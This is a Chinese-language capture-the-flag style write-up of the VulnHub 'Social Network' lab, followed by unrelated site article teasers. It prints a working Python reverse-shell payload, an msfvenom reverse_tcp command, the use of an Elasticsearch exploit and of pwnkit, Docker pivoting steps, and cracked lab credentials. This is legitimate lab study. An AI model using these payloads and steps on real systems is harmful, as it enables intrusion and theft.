1、BOREDHACKERBLOG:社交网络

news2024/9/23 19:29:08

靶机:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

参考:Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK_boredhackerblog系列-CSDN博客

需要使用virtualbox。

先去官网下载了最新版的vietualbox,以及把这个镜像文件下载下来

然后管理-导入虚拟电脑,我这里直接修改了这个文件地址,将文件地址修改为自己设置的文件夹

加载好了就是这样的

网卡我这里选择的是无线WIFI的那个网卡

是没有密码的,这个时候环境就已经搭建起来了,可以进行渗透测试了

确保kali和靶机是一个网卡也就是在同一个网段

首先发现一下主机,使用netdiscover,有一说一这个命令我之前还没有使用过。 netdiscover 是一个网络工具,用于扫描本地网络以发现活跃的设备。它使用 ARP 协议(地址解析协议)来检测网络上的设备,可以显示每个设备的 MAC 地址和 IP 地址。 -i 指定网卡 -r指定ip段

sudo netdiscover -i eth0 -r 192.168.1.0/24

出现这个PCS Systemtechnik GmbH就是靶机的特征

所以靶机ip 192.168.1.179 kal:192.168.1.122

然后使用nmap做一波信息收集,也可以使用rustscan进行,我看推荐和这个工具对于扫描端口比nmap快很多而且也可以联动nmap。工具当然要与时俱进

nmap -p- 192.168.1.179 //扫描开放的端口

rustscan -g -a 192.168.1.179

nmap -p22,5000 -A 192.168.1.179 //查看主机和端口的一些信息

rustscan -a 192.168.1.179 -p 22,5000 -- -A

可以看到开放了ssh和5000,是个python的web服务,并且主机是Ubuntu系统的

思考一下思路,ssh爆破或者是web上面找漏洞,估计是web上面找漏洞打

访问网站是一个匿名留言

随意输入一点内容发现他会将内容展示到页面上面

思考考点,有输入框,可能存在xss,SQL注入,python的话还很有可能存在SSTI,同时做一下目录扫描,信息收集要做全。一般我使用dirsearch扫描目录

kali这上面的火狐好像没有安装什么插件,看着挺难受的,用我自己的谷歌探测到flash框架

使用dirsearch发现存在admin目录

页面简单测试了一下好像没有明显的问题,看看admin,存在一个测试代码的地方

用来测试python的代码还是用来执行命令的?说是使用exec()去执行,你别说我还不怎么了解exec()。。。去看一下资料,exec是代码执行

简单的输入print 'Hello, World!' 好像也没有将代码执行的结果返回

应该是无回显的执行行为,但这里很清楚的写了是exec的执行所以尝试新的反弹shell,当然一般来说可以先ping一个dnslog看是否执行了命令

反弹shell生成器

[~]#棱角 ::Edge.Forum*

好像这几个payload有些用的会出问题

payload:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.122",4455));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

有时间可以换为/bin/bash 因为有些环境的这个shell可能没有

权限是root?这么高?

不对,查看当前目录发现有个dockerfile文件?很有可能此时在docker容器里面

怎么判断是否在docker里面呢

ls -al / 有这个东西绝对是在docker环境中了

或者其他方法

cat /proc/1/cgroup 全是docker的进程

那么接下来该怎么办?docker逃逸?

先信息收集一下吧

看看docker的ip地址

ip 172.17.0.3

思考:此时要么想办法逃逸docker 要么通过此docker容器做一个跳板机看看这个内部还有什么东西的存在,说不定有些只有本地才可以访问的服务开启了。

探测存活ip 172.17.0.3/16

很明显docker里面没有nmap,最好的手段的是ping探测但是一个一个去ping这个网段明显不显示,这时候需要手动写一个简单的shell脚本来帮助检测

for i in $(seq 1 20); do ping -c 1 -W 1 172.17.0.$i; done

完整:

for net in {0..255}; do for host in {0..255}; do ip="172.16.$net.$host"; ping -c 1 -W 1 "$ip" &>> ~/ping_results.txt;done; done

如果是单独的24网段就会快很多这里是16网段用ping实在是太慢了,这里看网上的wp值探测20个就可以。

for i in {1..254};do ping -c 1 -W 1 192.168.1.$i ;done

探测了一波1、2、3存活,其他都是loss

不对,有问题,后面这里要做代理转发,为什么不提前直接做代理转发,那么不直接可以使用kali的nmap对内网进行扫描了吗。。。不过也确实有意思,虚拟机中的虚拟机形成的内网环境

工具venom:

这个工具我没有用过,平时做的代理都是cs木马自带的转发或者用的frp或者nps

GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers

help # 打印使用帮助

exit # 退出

show # 显示网络拓扑

getdes # 显示

target结点的描述

setdes [info] # 添加对

target结点的描述

goto [id] # 选取一个要操作的 target结点.

listen [lport] # 在 target结点上监听一个端口

connect [rhost] [rport] # 通过 target结点连接一个新节点

sshconnect [user@ip:port] [dport] # 通过ssh隧道连接一个新节点

shell # 获取target节点的交互式

shell upload [local_file] [remote_file] # 上传文件到 target结点

download [remote_file] [local_file] # 从target结点下载文件

socks [lport] # 从target节点的lport端口建立一个socks5代理

lforward [lhost] [sport] [dport] # 将本地端口转发到远程

rforward [rhost] [sport] [dport] # 将远程端口转发到本地

还区分32位和64位的使用,先去容器上面看一下是几位的

uname -a 这里是64位的

开启kali上面的http服务将agent_linux_64位传过去,我这里直接是用的apache服务,并将文件重命名为agent

看手册说agent还可以端口复用666啊。

kali开启服务端监听9999端口等待容器的连接

agent主动连接kali服务端

这个奇怪的图案是他的网络连接图

show命令显示网络拓扑

A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点

goto 进入某个节点操作

socks 建立到某节点的socks5代理

配置socks代理转发,这个是默认的sock5代理

然后使用代理proxychains4 先修改一下配置文件

vim /etc/proxychains4.conf

很奇怪,挂了代理并没有连接上去?不知道是为什么。看了一下对外连接的端口情况好像9999端口并没有和192.168.1.179建立连接???

然后直接把shell搞掉了。。。而且不知道为什么反弹不上来了。。。奇奇怪怪反弹上来但是没有那个shell的界面

重启靶机,顺便在kali上面测试了一下是不是venom在复制的时候出问题了,ok测试完没有问题。。。

果然是的。。。重启一下靶机就可以了,如果是真实环境不是寄了。。。

果然有问题,也不知道是哪里出了问题,重来一遍又好了 ,我这里重新编辑了一下代理的端口为1080,能ping通docker的内网的内部地址就没有没有问题了。

继续收集172.17.0.1和0.2上面的信息

proxychains4 rustscan -g -a 172.17.0.1

用了这个代理会把连接信息也打印到屏幕上面看的我眼睛要瞎了,因为会打印导致执行命令的速度也变慢了

奇怪可能是太快的导致使用rustscan值扫描出了22端口。。。

还是用nmap -Pn -sT 172.17.0.1 Pn表示跳过主机发现,sT表示使用tcp的方式探测,但是这个方式只会扫描部分端口,实际的情况我认为还是得扫描全部端口,当然全部端口的扫动静会很大。

可以看到开放了22端口和500端口

这个时候挂代理去访问这个5000端口看看是什么

可以通过proxychains4启动火狐,也可以去修改代理选择这个对应的转发的端口。

启动得是普通用户才可以启动

对了这我又启动的,先访问原来192.168.1.179上面去输入点数据

可以看到同步刷新了

这说明这个172.17.0.1就是这个宿主机在这个网段的ip地址。一般情况下也是会这样的,自己用vm的时候自己的宿主机都是.1的IP地址

继续扫描一下0.2看看有什么

9200,不太熟悉,继续看看细节

nmap -Pn -sT -p9200 -sV 172.17.0.2 -sV显示详细信息

原来是elasticsearch,可以在网上查看一下有什么历史漏洞

有比较多的漏洞,使用searchsploit 去寻找看是否有对应的漏洞

将漏洞利用脚本cp过来

cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./36337.py

看一下源码分析是怎么利用的,看到提示是使用Python2那就运行一下

提示直接输入目标,这里不需要加端口刚才看源码的时候看到他自动添加了9200端口进去

可以看到直接就可以执行命令了,而是root权限

查看根目录的时候发现一个可疑的文件

发现存储着账号和密码的hash值

直接寻找在线的MD5解密网站

john:1337hack

test:1234test

admin:1111pass

root:1234pass

jane:1234jane

到了这一步web方面的渗透就结束了,这些账号密码可以拿着去登录ssh

全部账号测试了一遍只有john:1337hack 可以正常登录,而且是一个普通的权限,这个时候就需要思考提权了。

Linux的提权方式挺多的,一般来说显示通过提权脚本来帮助判断存在哪些提权漏洞,而且这个系统有点落后了Ubuntu14的版本

回顾一下提权的手法总结:Linux 提权总结

1、内核溢出漏洞

2、suid

3、计划任务启动项

这几个比较常见,平时都是纸上谈兵实际都没有什么地方使用过提权的一些操作

内核版本3.13.0-24-generic 相当古老了

这里我使用的linux-exploit-suggester去再靶机上面查询存在哪些可以利用的漏洞

除了这个linux-exploit-suggester还有其他的一些脚本也可以使用。开启一个http服务将这个脚本下载过去,并且移动都tmp目录下,为什么要移动到tmp目录下因为这个目录一般开放权限。有些目录普通用户是没有操作权限的。

Highly probable:评估的内核很可能受到影响,并且 PoC 漏洞利用很有可能不用在任何重大修改的情况下开箱即用

Probable:漏洞利用可能会起作用,但很可能需要定制 PoC 漏洞利用以适合目标使用

Less probable:需要额外的手动分析来验证内核是否受到影响

Unprobable:内核极不可能受到影响(漏洞利用不会显示在工具的输出中)

前面几个都是高可能性,wp里面是使用的这个overlayfs

使用的searchsploit查询是否存在这个内核版本的漏洞

searchsploit linux 3.13

既然如此那么也先使用这个exp

cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

看一下exp的内容

有食用指南,是.c文件需要使用gcc编译

靶机上面没有gcc环境,而且像这种命令下载一般都是root权限才可以下载。所以只能先在kali上面编译好后然后丢到靶机上面去执行

这里我直接把这个坑提前说了,就是这个编译后的文件运行的时候任然会调用gcc命令,

fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}

这一段去执行一段gcc编译的行为,最后实际write(fd,"/tmp/ofs-lib.so\n",16); 也就是说我们手动创建一个这个.so文件放到这个目录下面也可以,这里可以直接在kali里面找到这个文件,这是msf中已经有的

删完就这样

然后编译一手

gcc -o exp 37292.c

将两个文件下载下来并且赋予执行权限

糟糕执行失败。生成的exp有问题

生成出来的文件大小和wp中的不太一致,我怀疑是因为我这是最新版的kali里面的gcc版本可能比较高之类的影响的。。

那就换其他的打使用脏牛的40839.c OK也有问题,版本不行

去网上找相关的资料,吊毛学校不知道搞什么飞机网又断了

kali 192.168.30.58 靶机 192.168.30.127

在网上看到了其他的一些文章

Vulnhub | Social Network 渗透靶机-安全客 - 安全资讯平台

我也去pull了一个Ubuntu的镜像去编译,按照他的步骤第一步的so文件都没有产生出来,他的意思就是先用这个.c文件单独将这个so文件生成出来,然后和前面的思路一样再编译一个c文件然后一起上传到靶机上面。

又看了一下其他的文章有直接使用msf那就开搞

首先先上线msf

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.30.58 lport=5555 -f elf -o ey.elf

将其放到靶机上

msf启动

显示出几个选第二个打

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options 

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.30.58    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.30.58:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.azuwraeemxzx
[+] The target is vulnerable.
[*] Writing '/tmp/.xyvposa/tefwcmoedc/tefwcmoedc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.xyvposa
[*] Sending stage (3045380 bytes) to 192.168.30.127
[+] Deleted /tmp/.xyvposa/tefwcmoedc/tefwcmoedc.so
[+] Deleted /tmp/.xyvposa/.xcaggggyeh
[+] Deleted /tmp/.xyvposa
[*] Meterpreter session 2 opened (192.168.30.58:4444 -> 192.168.30.127:57224) at 2024-05-12 06:05:01 -0400

meterpreter > getuid
Server username: root
成功提权到root权限

kali的网络突然掉了不知道怎么回事。。。重新连接一下,学校的网好了,换回原来的ip地址。。。

靶机ip 192.168.1.179 kal:192.168.1.122

没有问题成功拿下靶机

后:

本次是我的第一次打这种完整的靶机,周末两天除了上课就是在打靶。之前的打靶其实都是针对某一个漏洞进行复现,并没有形成一个完整的渗透的思路,希望通过大量的靶机训练可以形成渗透的思维。对于此次的靶机算是照着人家的wp进行了一遍复现,其中很多地方也学习到了很多知识点,列如本次的网络的整体情况,尤其是通过docker之间的跳板去打其他的docker。正好最近拿下了一台docker可以试试这种思路👍。可惜最后没有使用这个脏牛和overlayfs的漏洞实现提权。而是用的其他的方式,我看网上的说法都是Linux一般提权都是使用的脚本而不是msf这种平台自带的。msf这种平台还是多用于对Windows做渗透。

vulnhub的靶机我会保持每周至少一个的训练,wp会持续更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1924732.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pytorch-LSTM

目录 1. RNN存在的问题2. LSTM的由来3. LSTM门3.1 遗忘门3.2 输入门3.3 输出门 4. LSTM是如何减轻梯度弥散问题 1. RNN存在的问题 如下图:RNN能满足预测下一个单词,但是对于获取更多的上下文信息就做不到了。 2. LSTM的由来 RNN能做到短时记忆即shor…

jenkins系列-04-jenkins参数化构建

使用maven build之前,先checkout 指定分支或标签: 拖拽调整顺序:shell执行在前,构建在后: gitee新建标签tag:

【持续集成_06课_Jenkins高级pipeline应用】

一、创建项目选择pipeline的风格 它主要是以脚本(它自己的语言)的方式进行运行,一般由运维去做的事情,作为测试而言。了解即可。 --- 体现形式全部通过脚本去实现:执行之前(拉取代码)执行&…

《Cross-Image Pixel Contrasting for Semantic Segmentation》论文解读

期刊:TPAMI 年份:2024 摘要 研究图像语义分割问题。目前的方法主要集中在通过专门设计的上下文聚合模块(如空洞卷积、神经注意力)或结构感知的优化目标(如iou样损失)挖掘"局部"上下文,即单个图像中像素之间的依赖关系。然而&…

【图解大数据技术】流式计算:Spark Streaming、Flink

【图解大数据技术】流式计算:Spark Streaming、Flink 批处理 VS 流式计算Spark StreamingFlinkFlink简介Flink入门案例Streaming Dataflow Flink架构Flink任务调度与执行task slot 和 task EventTime、Windows、WatermarksEventTimeWindowsWatermarks 批处理 VS 流式…

Lottery 分布式抽奖(个人向记录总结)

1.搭建(DDDRPC)架构 DDD——微服务架构(微服务是对系统拆分的方式) (Domain-Driven Design 领域驱动设计) DDD与MVC同属微服务架构 是由Eric Evans最先提出,目的是对软件所涉及到的领域进行建…

jenkins系列-05-jenkins构建golang程序

下载go1.20.2.linux-arm64.tar.gz 并存放到jenkins home目录: 写一个golang demo程序:静态文件服务器:https://gitee.com/jelex/jenkins_golang package mainimport ("encoding/base64""flag""fmt""lo…

搜索引擎中的相关性模型

一、什么是相关性模型? 相关性模型主要关注的是query和doc的相关性。例如给定query,和1000个doc,找到哪个doc是好query最相关的。 二、为什么需要相关性模型? 熟悉es的应该都熟悉BM25相关性算法。它是一个很简单的相关性算法。我…

【Linux】权限管理与相关指令

文章目录 1.权限、文件权限、用户文件权限的理解以及对应八进制数值表示、设置目录为粘滞位文件类型 2.权限相关的常用指令susudochmodchownchgrpumaskwhoamifile 1.权限、文件权限、用户 通过一定条件,拦住一部分人,给另一部分权利来访问资源&#xff0…

【node-RED 4.0.2】连接 Oracle 数据库踩坑解决,使用模组:node-red-contrib-agur-connector

关于 Oracle Oracle 就好像一张吸满水的面巾纸,你稍一用力它就烂了。 一、发现的问题 1.为什么需要 Oracle Instant Client && 不能使用 rpm 安装的原因 我们在使用 node-red 的 node-red-contrib-agur-connector 插件模组时,需要用到 Oracl…

QML界面控件加载与显示顺序

一、QML界面控件加载顺序 QML在界面加载时的顺序和我们认知的有很大的不同,有时候会对我们获取参数以及界面实现造成很大的困扰 1、加载顺序 import QtQuick 2.12 import QtQml 2.12 import QtQuick.Window 2.12 import QtQuick.VirtualKeyboard 2.4Window {id: …

Oracle使用fetch first子句报错:ORA-00933 SQL命令未正确结束

问题背景 今天在统计终端厂商告警次数Top10的时候使用SQL查询使用到了fetch first子句,结果执行报错:ORA-00933 SQL命令未正确结束。 报错原因 Oracle数据库中,使用 FETCH FIRST 子句需要启用 Oracle 12c 及以上版本。如果在较低版本的 Or…

德迅与DSV携香港蝴蝶效应集团,创半导体与新能源汽车物流新篇章

在全球经济一体化的大背景下,物流行业作为连接生产与消费的重要纽带,正迎来前所未有的发展机遇。特别是在半导体产业和新能源汽车领域,物流服务的专业性和高效性已成为企业竞争力的重要体现。近日,国际物流巨头德迅(Kuehne Nagel International)与全球汽车行业供应链物流专家D…

GitHub+Picgo图片上传

Picgo下载,修改安装路径,其他一路下一步! 地址 注册GitHub,注册过程不详细展开,不会的百度一下 地址 新建GitHub仓库存放图片 生成Token令牌 点击头像,点击Settings 滑到最后 过期时间:No expi…

用HTML和CSS实现提示工具(tooltip)及HTML元素的定位

所谓提示工具,是指将鼠标移动到某个HTML元素(工具)时会显示一些提示内容(提示文本),而鼠标移出工具元素的范围时提示文本就消失了。考虑到提示文本元素应当在鼠标进入工具元素时显示,鼠标离开工…

网络安全防御【防火墙NAT智能选举综合实验】

目录 一、实验拓扑图 二、实验要求 三、实验思路 四、实验步骤 1、FW2的网络相关配置: 2、路由器需要增加的(接口)命令配置 3、新增加的PC、client、sever的IP地址配置: 4、多对多的NAT,并且需要保留一个公网I…

LeetCode 3011.判断一个数组是否可以变为有序

注:这个题目有序的意思是“升序” 解法一:bubblesort O(nlogn) 核心思想:冒泡每次会将一个数归位到最后的位置上,所以我们如果碰到无法向右交换的数字,即可return false class Solution { public:// 返回一个十进制…

链接追踪系列-05.mac m1 安装es+kibana

运行启动脚本: docker run -e ES_JAVA_OPTS"-Xms512m -Xmx512m" -d -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" \-v /Users/jelex/dockerV/es/config/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml …

初涉项目架构

初涉项目架构 了解传统项目与互联网项目的区别 传统项目指OA、HR、CRM这种,互联网项目则是常见的app 首先是受众(服务对象)不同,传统项目是面向公司、学校等群体,互联网项目则是面向全体网民 两种对象数量不同&#x…

使用Java连接星火认知大模型:一个实际案例解析

引言: 随着人工智能技术的快速发展,认知大模型如星火在自然语言处理、语音识别等领域发挥着越来越重要的作用。本文将通过一个实际的Java代码示例,详细讲解如何使用Java连接星火认知大模型,并处理其响应。 1.导入依赖&#xff1…